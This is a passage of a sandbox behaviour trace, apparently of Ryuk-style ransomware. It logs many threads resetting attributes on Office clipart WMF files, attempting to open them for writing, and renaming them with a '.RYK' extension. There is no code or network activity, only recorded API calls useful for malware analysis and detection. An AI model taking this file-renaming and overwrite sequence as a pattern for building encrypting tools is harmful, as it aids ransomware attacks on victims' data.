	[0252.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF", dwFileAttributes=0x80) returned 0
	[0252.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.519] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3206
	os_tid = 0x2184

	[0252.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF", dwFileAttributes=0x80) returned 0
	[0252.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.520] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3207
	os_tid = 0x32dc

	[0252.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF", dwFileAttributes=0x80) returned 0
	[0252.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.521] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3208
	os_tid = 0x32e4

	[0252.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF", dwFileAttributes=0x80) returned 0
	[0252.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.522] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3209
	os_tid = 0x1228

	[0252.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF", dwFileAttributes=0x80) returned 0
	[0252.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.523] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3210
	os_tid = 0x32d8

	[0252.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF", dwFileAttributes=0x80) returned 0
	[0252.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3211
	os_tid = 0x32e0

	[0252.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF", dwFileAttributes=0x80) returned 0
	[0252.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.525] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.525] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3212
	os_tid = 0x1238

	[0252.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF", dwFileAttributes=0x80) returned 0
	[0252.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3213
	os_tid = 0x2f9c

	[0252.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF", dwFileAttributes=0x80) returned 0
	[0252.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.527] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3214
	os_tid = 0x2aec

	[0252.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF", dwFileAttributes=0x80) returned 0
	[0252.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.698] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3215
	os_tid = 0x2d38

	[0252.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF", dwFileAttributes=0x80) returned 0
	[0252.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.699] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3216
	os_tid = 0x2b74

	[0252.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF", dwFileAttributes=0x80) returned 0
	[0252.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.700] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3217
	os_tid = 0x3804

	[0252.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF", dwFileAttributes=0x80) returned 0
	[0252.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.701] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.701] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3218
	os_tid = 0x3808

	[0252.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF", dwFileAttributes=0x80) returned 0
	[0252.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.709] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3219
	os_tid = 0x380c

	[0252.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF", dwFileAttributes=0x80) returned 0
	[0252.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.714] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.714] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3220
	os_tid = 0x3810

	[0252.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF", dwFileAttributes=0x80) returned 0
	[0252.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.717] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3221
	os_tid = 0x3814

	[0252.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF", dwFileAttributes=0x80) returned 0
	[0252.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.705] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3222
	os_tid = 0x3818

	[0252.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF", dwFileAttributes=0x80) returned 0
	[0252.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.718] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3223
	os_tid = 0x381c

	[0252.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF", dwFileAttributes=0x80) returned 0
	[0252.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.719] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3224
	os_tid = 0x3820

	[0252.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF", dwFileAttributes=0x80) returned 0
	[0252.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.720] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3225
	os_tid = 0x3824

	[0252.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF", dwFileAttributes=0x80) returned 0
	[0252.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.721] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3226
	os_tid = 0x3828

	[0252.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF", dwFileAttributes=0x80) returned 0
	[0252.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.722] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3227
	os_tid = 0x382c

	[0252.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF", dwFileAttributes=0x80) returned 0
	[0252.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.723] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3228
	os_tid = 0x3830

	[0252.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF", dwFileAttributes=0x80) returned 0
	[0252.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.724] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3229
	os_tid = 0x3834

	[0252.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF", dwFileAttributes=0x80) returned 0
	[0252.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.725] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.725] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3230
	os_tid = 0x3838

	[0253.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF", dwFileAttributes=0x80) returned 0
	[0253.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.146] CloseHandle (hObject=0xffffffffffffffff) returned 0
